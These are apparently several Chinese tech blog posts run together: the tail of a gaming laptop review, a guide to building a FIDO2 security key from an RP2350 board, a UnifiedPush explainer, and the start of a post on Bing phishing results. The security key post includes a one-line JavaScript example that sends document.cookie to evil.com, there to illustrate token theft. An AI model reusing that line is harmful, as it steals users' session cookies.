• iterationT 最高可达 62 FPS，1% Low 帧可测得 37 FPS
• SEUS PTGI 软光追 最高可达 45 FPS

---

从结果上看，这款游戏本搭载 8 GB 显存的 5060 移动端显卡对于中低端光影足够胜任了，但面对像 SEUS PTGI 这类高端光影，它显得捉襟见肘了，帧率也比在低端光影下不稳定。个人建议挑选一款能入眼的中低端光影作为日常游玩，较高端的就没必要冲了，甜品卡也吃不消）））

另外，宏碁自带了一个类似联想拯救者 Legion Zone 与华硕ROG/天选奥创中心 Armoury Crate/AURA Center 的游戏控制台，叫 Acer Control Center (但开始菜单却显示的是 Fn hotkeys and OSD)，与市面上所有品牌控制中心一样可以根据使用环境切换不同模式，同时还支持独显直连与混合模式切换，也可自定义RGB键盘背光颜色与鼠标宏、控制电源等多种功能。

日常使用与编码体验#

美化:

• 任务栏使用 TranslucentTB 进行定制
• 资源管理器与开始菜单使用 Explorer Patcher 优化与定制
• 壁纸使用 Wallpaper Engine 自定义

实用工具:

• 小工具集合: PowerToys
• 停靠顶栏: 使用 PowerToys 的命令面板功能
• 截图: ShareX
• 深浅色模式自动切换: Auto Dark Mode
• 应用商店/软件包管理: UniGetUI
• 文件搜索: Everything
• 下载器: AB Download Manager
• 终端: Windows Terminal + WSL2 Debian + oh-my-zsh & Starship
• 解压缩软件: Nanazip
• 跨端传输: LANDrop

这么折腾下来，开机只占了 6.1 GB 左右，不必担心美化对性能带来的负面效果（但是启动了 WSL 或者打开 IDE 或游戏，再挂个 QQ，内存就差不多吃满了）

专业媒体处理软件我就装了 Adobe 六件套 (PS,PR,AE,AU,LrC,Acrobat) 别问我哪里来的盗版，代码编辑器使用 VS Code，IDE 使用 JetBrains Toolbox 管理并安装 IDEA,PyCharm,WebStorm 三件套。

由于这个作者只顾着打游戏和折腾 Linux 了，所以专业软件方面总结有待补充）

双系统另一侧我选择了 Linux Mint 22.3，桌面环境使用 KDE Plasma 5.27 (因为它上游发行版是 Ubuntu 24.04 LTS，所以没有 Plasma 6)，这是使用 Layan 主题与 Colloid 图标折腾下来的效果:

Q&A#

总结#

如果你的笔记本预算比较紧张，又想要同价位中挑个性能最好的，可以看看这台 Acer 暗影骑士擎7，国补价 ¥ 7140 即可拿下 i7-14650HX + 5060 + 16G RAM + 1T M.2 的游戏本。可惜这款“性价比”游戏本未能出现在各大知名笔记本评测UP的视频里，只有体量小的测评博主和玩家实机视频，也许是大家对 Acer 的印象不够好的原因）

最后，希望还没购买PC的读者们好好把握机会，仔细慎重考量挑选你心仪的产品；已经购买了的读者好好爱护与享受自己购置的PC，不要乱折腾损坏报修赔到裤衩子都不剩。一台PC/笔记本可以说是和你一起同甘共苦的战友，珍惜当下才能“战未来”。让我们期待消费市场降价回温的某一天即便来的慢，至少得等两年后就是了）。

P1: 「安全密钥」是啥？#

其实它的官方名称是 安全令牌 (英文名: Security Token )，它问世于 1980 年代，让我们引入 Wikipedia 的解释：

A security token is a peripheral device used to gain access to an electronically restricted resource. The token is used in addition to, or in place of, a password.Examples of security tokens include wireless key cards used to open locked doors, a banking token used as a digital authenticator for signing in to online banking, or signing transactions such as wire transfers.

安全令牌是一种外设设备 ，用于访问电子受限资源。该令牌可作为密码的补充或替代使用。安全令牌的例子包括用于开锁门的无线钥匙卡、用于登录网上银行的数字认证器、签署如电汇等交易的令牌。

Security tokens can be used to store information such as passwords, cryptographic keys used to generate digital signatures, or biometric data (such as fingerprints). Some designs incorporate tamper resistant packaging, while others may include small keypads to allow entry of a PIN or a simple button to start a generation routine with some display capability to show a generated key number. Connected tokens utilize a variety of interfaces including USB, near-field communication (NFC), radio-frequency identification (RFID), or Bluetooth. Some tokens have audio capabilities designed for those who are vision-impaired.

安全令牌可用于存储密码、用于生成数字签名的密码密钥或生物识别数据（如指纹）等信息。有些设计采用防篡改包装，另一些则可能包含小键盘以便输入 PIN 码，或通过简单的按钮启动生成程序，并具备显示显示生成密钥号的功能。连接的令牌使用多种接口，包括 USB 接口、近场通信（NFC）、射频识别 （RFID）或蓝牙。部分代币具备专为视障人士设计的音频功能。

——安全令牌 - 维基百科，自由的百科全书

当然，上面的官方解释是在传统的银行安全领域下定义的。安全令牌有很多种分类——在计算机安全领域中，它是指 连接令牌 ( Connected tokens )：连接型令牌必须与用户进行身份验证的计算机进行物理连接。此类令牌在建立物理连接后会自动将身份验证信息传输到客户端计算机，无需用户手动输入身份验证信息。但是，要使用连接型令牌，必须安装相应的输入设备。最常见的物理令牌类型是智能卡和 USB 令牌（也称为 安全密钥 ），分别需要智能卡读卡器和 USB 端口。由开放规范组织 FIDO 联盟 支持的 FIDO2 令牌越来越受到消费者的欢迎，自 2015 年以来，主流浏览器开始支持 FIDO2 令牌，并且许多热门网站和社交媒体网站也支持 FIDO2 令牌。某个小而美软件以及某个企鹅图标的社交软件不支持，这里我不做评价（（

虽然说它在计算机发展史上也是比较 老资历 关键的进程了，但它核心在于「安全」啊！至今貌似没什么人敢破解(存疑?)，因为敢破解的应该都吃了紫菜蛋花汤没有菜花汤了基本都是银行或密钥提供商自家漏洞导致的大小规模的泄露事件会引起安全令牌的失效。而今这类事件发生的概率小到极点Ｍ＄这个草台班子咖喱味互联网公司就不好说了（（（，大家可以放心使用。

与之相比，FIDO 联盟与 FIDO2 则是一个比较新生代的技术协议——该联盟于 2012 年建立，与 W3C 联合开发的 FIDO2 大规模推广在 2019 年开始进行。如今，FIDO2 早已正式成为全球通用的 Web 认证标准。科技巨头如微软、谷歌、苹果等在其生态系统中全面支持该标准，用户不仅可以使用物理安全密钥，还可以用手机或电脑自带的指纹识别、人脸识别直接登录支持 FIDO2 的网站。

除了这些比较通用的加密协议，我们日常生活中见到的安全密钥大部分都是和私有加密协议，比如软件的加密狗、银行给的 U 盾、财务税控盘、动态口令卡或是动态密码器等。当然，受限于文章篇幅，我也不打算对这类产品详细展开，大家只要类似的产品其实也是安全密钥就好。

需要注意的是，如果你弄丢了实体密钥，并且账号登录选项只配置了通行密钥，这会将失去你账号的授权，很难再登上去，所以 请务必保管好你的密钥！！！

P2: 为什么我们要选择「安全密钥」？#

想必大家可能觉得既然有了短信验证码，或是应用内二维码，或是有了基于时间的一次性密码，似乎就没必要用安全密钥了。但这个想法实际上并不对，不然银行也没必要给每一个打开网银的用户配上一个 U 盾了。

让我们回顾一下身份认证发展史，就可以看到安全专家们为了保障用户与企业的安全可谓是殚精竭虑。

三、TOTP协议#

不少网站和服务都会采用基于时间的一次性密码 TOTP，TOTP 确实要比短信来得安全得多。首先，与传统的静态密码相比，TOTP 动态生成的一次性密码更加安全，因为它只在特定的时间段内有效，并且生成过程基于共享的密钥和相同的时间，而共享的密钥只会在初次设置时进行交换。

其次，实现 TOTP 技术因为不需要专门的硬件，所以实现成本很低，用户使用时只需要安装一个支持 TOTP 的软件即可，无论是智能手机、可穿戴设备或是电脑上都有对应的软件可以选择。最后，TOTP 对于网站和服务来说也非常便于接入到身份验证系统中，因此 TOTP 支持得非常广泛。

TOTP 工作原理图

但 TOTP 也有自己的局限，TOTP 最大的问题就是不能抵御中间人攻击，在 MitM 攻击中，攻击者会在通信的两端之间插入自己的设备，以拦截、篡改和窃取数据。如果用户正在遭受 MitM 攻击，攻击者不仅会伪造一个有用户名和密码的登陆框，还会伪造一个看起来像身份验证令牌的页面，要求用户输入他们的令牌信息。然后，攻击者可以使用这些信息欺骗真正的身份验证服务器，并成功访问用户的帐户。

除了不能抵御 MitM，使用 TOTP 的步骤我也觉得有点麻烦。首先就是输入麻烦，如果用密码管理工具快速填充密码的话，往往还需要单独打开一个 TOTP 的软件手动输入那一串验证码；如果把 TOTP 同样保存到那个密码管理工具，不免有把「鸡蛋都放一个篮子里」的嫌疑。

这时候随着银行卡一起给我的银行 U 盾给了我新的灵感，在大额转账的时候只需要点一下 U 盾上的按钮就可以完成身份验证，可以说是非常方便。而和 U 盾类似的安全密钥自然就成为了我替代传统 TOTP 的方式。

四、物理安全密钥#

用安全密钥存储和生成一次性密码的方法也被称为 U2F（通用第二因素），基于安全密钥「软件只能写入密钥但不能读取密钥」的特性， U2F 也能有效地抵御 MItM 攻击。

Passkey sign in🌐 Server👤 User (Device)🌐 Server👤 User (Device)Passkey🔐 Private key | 🌍 Public keySolve this challenge🔒 eb9695b23...Here's the solution🔓 48d6a0f48...✅ That solution is valid. You're signed in!

Passkey sign in🌐 Server👤 User (Device)🌐 Server👤 User (Device)Passkey🔐 Private key | 🌍 Public keySolve this challenge🔒 eb9695b23...Here's the solution🔓 48d6a0f48...✅ That solution is valid. You're signed in!

安全密钥基本原理

当我们使用安全密钥进行认证的时候，网页会首先发送一个「挑战（challenge）」给安全密钥，安全密钥会根据内部存储的私钥（可以理解成信箱的钥匙），解开这个「挑战（challenge）」并把对应的结果返回给服务器。无论是谁都看不到放在安全密钥的私钥，而服务器上只有正确的公钥加密的信息才可以被私钥解锁，因为投递人只有知道那个信箱是你才能把信寄给你。

除了更安全，安全密钥自然也有着使用方便的特点，在电脑平台上直接插入到 USB 接口中就可以让其他程序调用，身份验证时也只需要额外进行一次触摸即可。至于在移动上，除了插入接口进行认证，也可以在支持 NFC 的设备上扫描 NFC 进行验证。整个流程非常简单，就和使用银行 U 盾一样。

前面我们也提到过，安全密钥还支持存储多种不同的加密类型，如果网站或者服务不支持 U2F 的话，不少安全密钥，比如 Yubikey 旗下的产品也支持存储支持更为广泛的 TOTP，填写时也只需要简单触摸一下安全密钥就可以自动填充。另外一些加密类型也可以在特定的场景下发挥作用，比如 PIV 智能卡可以用于替代门禁卡，OpenPGP 则是加密文件、邮件的常用方式。

安全密钥小巧的体型也能算是它的一个优点，携带会非常方便；不过这其实也是一个缺点，小巧的体型也意味着容易遗失。如果设备丢失，不仅需要需要重新配置身份验证过程，还有可能被身份认证挡在门外。所以如果要使用安全密钥除了 FIDO2 以外的加密类型的话，我的建议是多准备一个安全密钥进行备份；而 FIDO2 作为实现通信密钥的基石，可以使用身边的手机和其他支持的软件额外进行设置。

安全密钥虽然有着众多的加密类型，但也不是万能的，如果网站只愿意使用 SMS 或者私有认证方式进行两步认证的方式的话，安全密钥自然也帮不上忙；安全密钥的使用成本也不低，毕竟一次就要买 2 个，如果丢失的话也需要再次入手，对于大部分人来说确实不那么值得。

不过，目前来看安全密钥也算是解决了我此前使用软件 TOTP 时的种种不满，顺便还让一部分账户变得更为安全了。

P3: 硬件挑选#

既然你已经知道硬件密钥是什么了，那么我们就来看看目前互联网上主流的安全密钥方案：

一、YubiKey#

Yubico 是一家美国的公司，是 YubiKey 的制造商。YubiKey 是这家公司生产的硬件安全密钥。这个东西有点像以前很多银行要用的「U 盾」，是硬件层面保障安全性的一个东西。

2023 年， Cloudflare 推出的 Yubikey 促销 掀起了一波小小的硬件密钥热潮, 很多人都通过国际代购，转运低价购入了 Yubikey. 不过转眼过去了两年, 之后再没有过类似的优惠, 国内现货的价格也一直居高不下 (目前为 ~500RMB).

看到这个产品，我想说的一句话是：这太TM贵了！ 这样的价格对我一个 安卓人 学生来说是承担不起的（（。如果这样的小玩意弄丢了，这将是一个极大的损失（同时账号也丢了）！

四、Picokey#

提醒！

由于项目作者 Polhenarejos 在未告知用户的情况下肆意对项目改变策略，进行商业化转变，引起社区部分资深用户的愤怒，详见 Issues | #216 Pico Commissioner is unavailable - GitHub • polhenarejoys/pico-fido。建议使用 社区提供的固件项目

以上三个方案成本都非常高昂，至少都在 100 RMB 以上。还好前人们都作总结了，都推荐基于 Rasbperry Pi RP2040/RP2350 或 ESP32S3 开发板的 Pico Fido2 项目，其中树莓派的芯片开发板选择多，流行度高，在大陆易于买到，且价格很低 (约 30RMB)。

librekeys

/

pico-fido2

Pico Fido + Pico OpenPGP

—

—

NOASSERTION

C

而恰好, 本次的 Pico Keys 项目就用到了RP2350这款芯片的Secure Boot和OTP 功能用于保护保存的密钥在物理接触时不被提取或复制, 所以我更相信它的安全性。

硬件购买#

RP2350 只是芯片型号，市面上有很多搭载该芯片的开发板，经前人们推荐我挑选了微雪Waveshare的RP2350-One，这款芯片可以非常轻松的在淘宝上以 30 元左右的价格包邮买到。Pico Keys 还支持其他各式各样的开发板, 可以自行选择最容易购买到或者最便宜的。

P4: 刷入固件&配置#

Step2: 设备配置#

警告

这个步骤里边参考资料给出的Pico Comissioner在线配置工具因商业策略改变，已被作者宣布下线并替换成付费订阅的Picokey App，所以我将改成自己摸索到的免费方案分享出来 消息来源：Pico Commissioner 网页已经被开发者正式下线，换成了收费软件 - V2EX

目前还有现存的在线版Pico Commissioner供大家使用，操作方式与原先的基本相同。

或者使用Picoforge项目进行本地配置，

librekeys

/

picoforge

A commissioning tool for pico-fido firmware based hardware keys.

—

—

AGPL-3.0

Rust

在线版具体核心步骤：#

1. 插入开发板，在WebUSB页面点击Connect，浏览器弹出提示后点确认连接，如果能正常显示信息则连接成功

2. 点击PHY界面，跟着设置如下：

   • 设置 Vendor 为: Yubikey5
   • VID & PID 保持默认 (其实在线版这里根本改不了)
   • Product Name 设置为: Yubico Yubikey
   • 按钮超时时间可自己设置，这里设置为30秒
   • LED GPIO 引脚(Pin)设置为16，亮度设置为1-7之间，Options勾选Dimmable和Steady，LED驱动选择WS2812或WS2812_Swap

3. 设置完后，点击Commission按钮应用设置，记得为密钥设置PIN码并记住。

Picoforge 配置教程核心步骤：#

1. 插入开发板，点击左侧Configuration进入界面，并在左下角点击Refresh，确认设备状态显示为Online并且Overview界面信息显示正常后开始操作

2. 跟着设置如下：

   • Identity 板块 Vendor Preset 选择YubiKey 5 (1050:0407)
   • Vendor ID 和 Product ID 保持默认(值分别为1050和0407)
   • Product Name 设置为: Yubico Yubikey
   • LED GPIO 引脚(Pin)设置为16，LED驱动选择WS2812 (Neopixel)，亮度设置为1-7之间，勾选LED Dimmable和LED Steady Mode
   • 按钮超时时间可自行设置
   • 开启Power Cycle on Reset

3. 设置完成后，点击Apply Change按钮应用设置，记得为密钥设置PIN码并记住。

⚠️警告！

如果你想为了安全起见，可以开启Secure Boot和Secure Lock，但是这样开启后只能刷入Picokey提供的官方固件，不能再进行二次开发，建议正式使用的时候再开启！ 如果你又想 DIY 又想安全的话可以尝试自签。

测试密钥可用性#

注意

如果你是第一次使用应该会提示你设置PIN码，如果在此之前就设置PIN码了只需输入之前设置的PIN码即可(忘了就白搭了~)

访问Webauthn.io，测试一下这把 DIY 密钥的功能，根据网站与浏览器的引导进行操作即可。

P5: 管理你的密钥#

访问Yubico官网下载Yubico Authenticator，支持PC与移动端，打开后插入密钥可以看到能成功识别。

Android 平台也有官方支持的客户端，但需手机/平板支持 OTG，并且识别功能正常(找个U盘插一插就能知道可不可以正常识别了，但请你警惕 Bad USB！ )

在 Android 设备上识别到之后，一般来讲每当在浏览器发现有新的登录请求发出后会唤醒Yubico Authenticator，可以正常识别、使用。如果不能正常使用，问题应该出在Authn管理器上，一般来讲你的安卓、iOS都是可以用的（因为一般都做好了适配，且新版安卓可以自选Authn管理器），我目前的测试当中就 Via 浏览器是不能正常调用的，而Edge、Chrome与Firefox一起正常。

Yubico也提供官方 CLI 管理工具Yubikey Manager，安装完在插入密钥后，使用ykman命令工具可以查询密钥状态。

1
PS C:\> ykman list
2
ykman list
3
YubiKey 5A (7.6.0) [OTP+FIDO+CCID] Serial: xxxxxxxx
4
PS C:\> ykman fido info
5
AAGUID:                 xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
6
PIN:                    8 attempt(s) remaining
7
Minimum PIN length:     4
8
Always Require UV:      On
9
Enterprise Attestation: Disabled

需要注意的是：默认情况下 PIN 只能尝试 8 次: 每尝试 3 次会临时 BLOCK 密钥, 需要重新插拔后才能继续尝试, 总计重试满 8 次后密钥永久被 BLOCK (俗称被ban掉了), 此时只能重置, 重置会丢失所有存储的密钥。(硬件本身还是可以继续正常使用的)

P6: 将安全密钥绑定到你的互联网账号#

以微软账号和 Google 账号为例：

微软账号 (Microsoft Account)#

登录account.live.com，进入管理界面后点击侧边栏的安全选项，然后点击“管理登录方式”并进行安全验证

在这个界面中滑下来找到添加另一种登录账户的方式。，然后在“添加一种新的登录或验证方法”窗口中选择人脸、指纹、PIN 或安全密钥

根据浏览器指引，会弹出新窗口引导你选择保存密钥的位置,这里选择使用外部安全密钥！

接着会唤醒本地的 Windows 安全中心并继续引导你绑定安全密钥，插入密钥后输入PIN码，在提示“触摸安全密钥”时按下开发板密钥上的BOOT键即可，如提示“为密钥设置名称”则成功绑定！最后根据微软的提示为新绑定的密钥设置名称！

Google 账号#

登录account.google.com，进入管理界面后点击侧边栏的安全性与登录选项，然后点击“通行密钥和安全密钥”并进行安全验证

进入后，点击创建通行密钥

接下来的指引与微软账号配置密钥时相同，就是选择存储在外部安全密钥-插入密钥-输入 PIN 码-触摸安全密钥即可，最后提示如下图则为成功绑定，后续可以在谷歌密钥管理界面自己设定密钥名称。

根据这波指引下来：🎉恭喜你！你已成功进入安全密钥令牌的世界！🎉 您的账号安全性将几乎无人匹敌(哦是吗?)，大大降低了被盗号的风险与概率。

P7: 其它小技巧#

硬件密钥不仅仅只用作互联网账号凭证登录，也可以用于 SSH 私钥(参考 Lyc8503 的 Blog)，还支持 TOTP、PIV、OATH、OpenPGP 等验证协议，具体玩法留给大家自行探索了~

P8: 为安全密钥定制保护外壳#

咱们 DIY 定制的硬件密钥本质上也只是一个小小的 USB 单片机，仔细想想这样一个电路板裸露出来未免也不太好，还容易损坏。网络上目前的方案是热熔胶套上或者 3D 打印树脂外壳，这样就不用再担心使用过程中的电路板磨损与折坏了。

鄙人不会 3D 打印与建模，这里我推荐去嘉立创3D打印服务官网下单，图纸原型使用 Pintable 平台的 Waveshare RP2040 One and RP2350 One case，但是直接把图纸下载下来是不能直接提交到嘉立创平台去报价的，会报出一堆建模问题来，只好托人修改模型图纸直到通过嘉立创系统检测。

这里我将修改后图纸分享给大家，感谢某位不方便透露名字的大佬帮我修改外壳模型图纸！

我的外壳于 5 月 6 号成功到货，该外壳模具安装只需要将安全密钥根据底座开口朝向放入底座，再将带两个按钮的顶板轻轻合上即可。安装极其轻便且日后也容易拆卸。有了外壳再贴上微雪赠送的 Waveshare 品牌贴纸（开发板买来到货的时候那个无尘袋里一般有两个小贴纸），一个较为简陋的硬件密钥完全体就做好了！

另附上期待已久的效果图.png

总之，照着这样操作完毕后，您的专属密钥已大功告成！

P9: 碎碎念&注意事项#

你也许会发现，虽然说这篇文章我一直都在鼓吹安全密钥的好处，但我想说的是：其实它仍然有一定的局限性，这点我也在撰写当中用括号内短语进行表态。它貌似只能防得住登录请求时的盗号，防不了授权后的盗号情况。

这是什么意思呢？让我们先从它的工作原理入手。

安全密钥是如何工作的？#

安全密钥通过USB或蓝牙与设备通信来工作，在使用安全密钥进行身份验证之前，必须验证正在使用的服务的兼容性，然后向服务注册密钥，然后可以使用该密钥和密码一起登录该服务。

当用户尝试登录支持安全密钥的服务时，系统会提示用户插入或点击安全密钥以验证身份。安全密钥依赖于公钥加密协议，如FIDO U2F和FIDO2，这些密钥超越了传统的身份验证方法，提供了更强的保护，防止网络钓鱼和凭证盗窃。

以下是安全密钥的工作原理：

• 密钥对：安全密钥会生成唯一的公钥和唯一的私钥，公钥存储在用户正在使用的在线服务中，而私钥存储在安全密钥的硬件芯片中。

• 登录启动：当登录支持安全密钥的服务时，需要像往常一样输入用户名和密码。

• 询问-响应身份验证：该服务会生成一个唯一的质询并将其发送到安全密钥，安全密钥使用其私钥对质询进行签名，并将签名的响应发送到服务。

• 验证：该服务使用存储在其系统中的公钥验证签名。如果它们匹配，则授予访问权限。

此过程消除了恶意拦截代码或破坏基于软件的身份验证器的风险，即使他们设法窃取了密码，也无法绕过计算机和服务安全密钥的物理存在和加密验证。

此外，我在另外一个哔站视频评论区看到了以下楼层，这引发了我极大的思索：

省流：简单来说，黑客偷的不是你硬件密钥载体上的私钥，而是偷的签名后的验证信息，也就是存储在 Cookie 中的 Token 令牌。什么意思呢，就是你回家路上被小偷跟踪了，你用智能门锁用指纹开门进入你的大豪斯的时候，小偷在你没注意的瞬间飞入了你家里，然后偷走了你所有的钱。但是这种作案过程中，小偷不是复制了你的指纹，而是在你开门的刹那闯进去了，就这么简单粗暴！

1
// 攻击者注入的恶意脚本
2
fetch('https://evil.com/steal?cookie=' + document.cookie);

P10: 小结#

这篇博客文章估计是目前篇幅最长、质量最好的一个文章了，虽然说也有从外部文章缝缝补补、使用AI辅助补充知识的瑕疵，可谓过犹不及，但对于我来说已经足够完美了！

希望各位阅读完这篇教程后，可以在学习安全知识的同时动手实践一下，体验 Geeker 一般的感受，虽然说目前大陆上玩安全密钥的群体比较小众，但它也是一个值得引起注意与学习的一个好项目。总之，期待读者们也能得到非常多的收获！

如果有什么感想、文章优化建议、文章论述错误意见等，欢迎你们在评论区抒发自己的感受与提出你们的良好建议，我将会积极响应与反馈！

THE END

始编撰于 公元 2026 年 5 月 2 日 农历三月十六

最后一次更新于 2026 年 5 月 9 日 农历三月廿三

引子#

我之前为寻找一个体验最棒的移动设备浏览器发愁：Edge 部分插件未登录移动平台，Via 现在用不了大部分油猴脚本了，Cromite 使用体验下来也非常沟槽（插件不适用，不能自定义下载器……）。我尝试转战 Firefox (Gecko) 系列，但发现火狐系的浏览器依旧还是有性能问题：浏览网页很卡。

但本文主题依旧不是浏览器，而是我使用 Fennec F-droid Browser (一款基于 Firefox 的注重隐私的浏览器分支) 时偶然发现一个新奇的设置选项：它一直提示我未配置“UnifiedPush”需要我去启用。于是激发我的好奇心去主动了解一下这到底是什么东东，花了好几个小时研究配置完体验了一下，才有了这么一个文章。

什么是「UnifiedPush」？#

UnifiedPush is a decentralized push notification system that lets you choose the service you want to use. It’s designed to be privacy-friendly, flexible, and open — making it perfect if you want control over your push notifications. —— UnifiedPush 官网

翻译：

UnifiedPush 是一个去中心化的推送通知系统，允许你选择你想使用的服务。它设计得注重隐私友好、灵活且开放——如果你想控制推送通知，它非常合适。

简单来说，UnifiedPush (译名：统一推送) 就是一个开源的通知推送协议。相较于 Google 的 FCM (Firebase Cloud Messaging)，苹果的 APNs (Apple Push Notification service)，微软的 WNS (Windows Push Notification Services)，以及中国大陆的 统一推送联盟 (只是英文撞名了，与 UnifiedPush 无任何关系)，它的优势是 去中心化，即不依赖任何单一公司或服务，消息经服务器推送过程中保持点对点(端对端)加密，保障消息推送的隐私安全。

貌似墙内的翻译：https://www.bilibili.com/read/cv21845282

为什么要选择「UnifiedPush」？#

摘自：https://unifiedpush.org/

UnifiedPush 的 主要优势：

• 开放标准： 具备互操作性且有韧性(弹性)。

• 去中心化： 不依赖任何单一公司或服务，减少对守门人的依赖。

• 隐私优先： 推送通知是加密的。

• 自我托管： 你可以自己运行通知服务器，以获得所需的控制权。

• 用户控制： 用户选择他们使用的服务，而不是开发者。

主要特点：

• 无需特权服务： 使用轻量级服务并遵循最低权限原则。可在 去谷歌化 (de-Googled) 的安卓设备和自定义 ROM 上运行。也可作为用户服务在 Linux 设备上运行。

• 多个发行版(分发商/服务端)： 从发行版列表中选择。

• 轻松集成： 开发者可以轻松地为他们的应用添加 UnifiedPush 支持。

工作原理 (如下图)：APP送出通知之后，需要一個服务端(Distributor)负责转发消息，再由手机上的APP收发。这里服务器可以自建，也能使用 Mozilla 的公共服务器代发。

总之，你选择了 UnifiedPush，你将拥有很多隐私与自由，无需担心你接收的任何一条消息推送会被大厂监管或拦截，用户相比开发者拥有更多自主权（比如可以自己搭建消息推送服务器，以获得控制权）。

如何使用？#

Step 1: 安装发行版服务端 App#

UnifiedPush 官网提供许多服务端，其中 Ntfy 需要自建服务器，提供REST API。有公用节点，但需要注册账号才能使用。这里我推荐 Sunup，优势是不用注册与不用自建服务器，使用 Mozilla 的推送服务器 ( https://push.services.mozilla.com )。

Step 2: 安装要使用 UnifiedPush 的 App#

以 Matrix 客户端 FluffyChat 为例。注意：必需要在 F-Droid 平台上下载！不要从 Google Play 商店下载！ 因为 F-Droid 的 APP 不能依赖 FCM，所以它会要求你使用 UnifiedPush。

同理，上文提到的 Fennec 浏览器设置里也有 UnifiedPush 开关，开启后该浏览器的资讯等消息都经过 UnifiedPush 服务端推送。

底层原理#

UnifiedPush 的核心是一个规范。该规范分为两半：

• 在设备（客户）端，它定义了一个应用编程接口 (API) 以允许任何最终用户应用（例如您的消息应用）与任何分发器应用（ ntfy、NextPush 等）
• 在服务器端，API 描述了应用服务器（Matrix homeserver、Mastodon 实例等）如何向推送服务器（ntfy 服务器、Nextcloud 服务器等）发送消息.

我们的客户端库和参考代理分别协助实施规范的两端。

为获得 UnifiedPush 端点（向其发送通知的功能 URL），最终用户应用向 UnifiedPush 分发器注册，该分发器与推送服务器保持持续连接。注册后，分发者向应用提供指向推送服务器的唯一 URL。该端点 URL 然后由应用客户端传输到应用服务器。

当应用服务器需要向最终用户应用发送推送消息时，它会使用简单的 HTTP POST 请求将消息发送到推送服务器。推送服务器然后将推送消息转发给分发器，分发器将其传递给最终用户应用。

UnifiedPush 的一个关键特性是不指定推送服务器和分发器之间的通信。这意味着可以采用多种技术，例如 WebSocket、服务器发送事件、XMPP、原始 TCP 甚至 SMS，只要最适合用户即可。

分发器使用平台特定的 IPC 机制（例如 Android 上的 Broadcast Intents 或 Linux 上的 D-Bus）来唤醒应用并允许它处理推送消息。然后应用可以处理数据并根据内容决定是否显示通知。重要的是要注意 UnifiedPush 不处理用户可见通知的显示；它只向应用提供数据。因此，应用可以支持各种平台的通知功能，而无需 UnifiedPush 或服务器的参与。

在应用服务器本身不支持 UnifiedPush 的情况下，推送网关可以将特定于应用的通知转换为 UnifiedPush 服务器协议。一些流行的推送网关，例如用于 Matrix 的推送网关，被直接集成到推送服务器中以方便自托管。此外，Rewrite Proxies 用于推送服务器不支持 UnifiedPush 的极少数情况，例如 FCM 分发器发送 UnifiedPush-over-FCM。

针对大陆用户的 FAQ#

碎碎念#

起初，我第一次从 Fennec 那边无意发现了它，UnifiedPush 激发我的好奇心比我第一次了解到 FCM、以及各家手机厂商的推送协议（MiPush、HMS Push、OPPO Push等）都更加强烈。毕竟我想不到一个小小的通知推送协议也可以开源透明，同时也符合少数人对隐私的敏感需求，这是在现在通知协议被各大手机厂商垄断的时代都意想不到的。

但这玩意儿的处境也非常艰难：

比如上文的 FAQ 也提到，对于大陆用户，许多国产软件/开源项目，抑或是大众商业化软件，都不支持 UnifiedPush，这对于开发者与极客用户来说无疑是一个极大的生态挑战，这样的推送协议在大陆开源社区的存在感 和棍母没啥区别 非常低。简单类比，在车万社区中，灵梦厨、魔理沙厨和早苗厨不是那个早苗，是东风谷早苗都非常多，在哪随便都能遇到；而冴月麟厨极少能被看见，像是被忽略了）））

(可能有点冒犯一些群体，属实抱歉)

这是在大陆的现状。其实放眼全球，无论在哪个互联网社区，UnifiedPush 都依然非常小众，绝大部分国外用户都使用的是 FCM 与 APNs，其实与全球的开源社区/自由软硬件社区一样，终归属于特定的群体小范围传播，很难迈向大众化，同时还要面临大厂的垄断枷锁冲破软硬件市场的防线。如果有一天，某个知名开源软件大众化了，还能保持初心，我看到也没啥可遗憾了）

补充：你们猜我为什么一直特别强调它的小众特点？因为我撰写这篇文章搜集素材的时候，发现国内关于 UnifiedPush 的记载少之甚少，全是被 腾讯云，CSDN，gitcode 等神秘内容农场充斥着，没有一点有价值的信息供我参考。最后发现只有一丢丢的极少部分的中文 Blog 文章对此有介绍，可见它在中文社区真的小众得不能再小众了。(它的用户群体估计都没 FreeBSD 的个人用户体量大)

小结#

如果你像我一样，对这个推送协议项目非常感兴趣，你可以根据上文的 教程 来体验 UnifiedPush 带来的新鲜感。如果你是接手了一个或多个 Android/Linux 软件开源项目的开发者，读完这篇文章希望你可以为自己的项目接入 UnifiedPush（官网也有开发者文档教你如何接入），为开源推送协议社区献出一份力量。如果有朝一日，一种注重隐私的推送服务能被普及开来，对于用户简直利大于弊，从此无论什么消息再也不必担心经过大厂服务器审查或被大厂截获触发警告了。我非常期待这一天的到来……

小引#

近半年以内，越来越多的用户反馈说 Microsoft Bing 搜索引擎，已经被铺天盖地的垃圾掩埋了：不止是上期文章提到的内容农场，在搜索软件下载的时候，排在搜索结果前列的网站都是钓鱼网站，它们用着比官网还逼真的页面，诱骗用户去下载带有木马的软件安装包！

我一听直接震惊了！我一直使用必应找软件，却没遇到过这种情况。接着我才发觉原来是我加了反广告插件 (AdGuard) 把那些垃圾都给过滤了依旧是我仅有的一点点赛博洁癖发力了。看来有许多人上网使用浏览器都不会自觉主动去添加插件以得到净化后的上网体验 (他们估计连那些安利视频都懒得看，哔站浏览器插件安利视频一搜一大把，我也是这么样过来的)。

当然，这篇文章的主题并不是批判用户的上网习惯以及对灰产小作坊投放垃圾网站的无脑控诉。而是谈必应面对持续已久的负面现象却不以为然，丝毫没有任何声明与整改这件事。

事件梳理#

起因 & 攻击手法#

2025年下半年，银狐木马就已开始肆虐必应搜索引擎各大网站，攻击者利用 SEO 轰炸，加上恶意广告投机，让伪装的下载站(钓鱼网站)出现在 Bing 搜索结果的前几名。他们面向一些急需下载软件的用户，仿冒 Telegram、WeChat、Chrome、Zoom、WPS Office、Microsoft Teams 以及各类财务/办公软件，这些类型的软件成为投毒的重灾区，导致许多用户中招，他们的电脑也成为那些攻击者的肉鸡。

由木马引发的用户与必应之间的信任危机#

